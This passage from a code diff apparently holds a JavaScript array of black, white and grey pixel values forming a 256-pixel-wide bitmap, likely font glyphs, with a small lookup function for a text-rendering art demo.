5,0,0,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,1052688,16777215,16777215,15724527,0,0,0,12566463,16777215,13619151,0,0,0,1052688,13619151,13619151,0,0,0,0,12566463,16777215,16777215,13619151,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,13619151,3158064,0,0,0,1052688,13619151,12566463,0,15724527,13619151,0,0,13619151,3158064,15724527,13619151,0,0,0,0,0,0,16777215,0,16777215,0,0,0,10461087,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,0,0,0,0,13619151,3158064,0,0,13619151,15724527,0,1052688,15724527,0,0,16777215,0,0,0,0,13619151,12566463,16777215,0,16777215,0,0,0,16777215,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,12566463,15724527,0,0,0,0,16777215,0,0,1052688,15724527,0,0,13619151,3158064,0,0,16777215,0,0,0,0,16777215,0,16777215,0,16777215,0,0,0,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,15724527,13619151,13619151,15724527,3158064,0,0,14671839,0,0,0,14671839,0,0,0,0,15724527,16777215,15724527,0,14671839,0,0,0,14671839,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,15724527,15724527,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];return data[Math.floor(sx)+(Math.floor(sy)*256)]; } })(); \ No newline at end of file diff --git a/files/jsart/demos/text-engine.txt 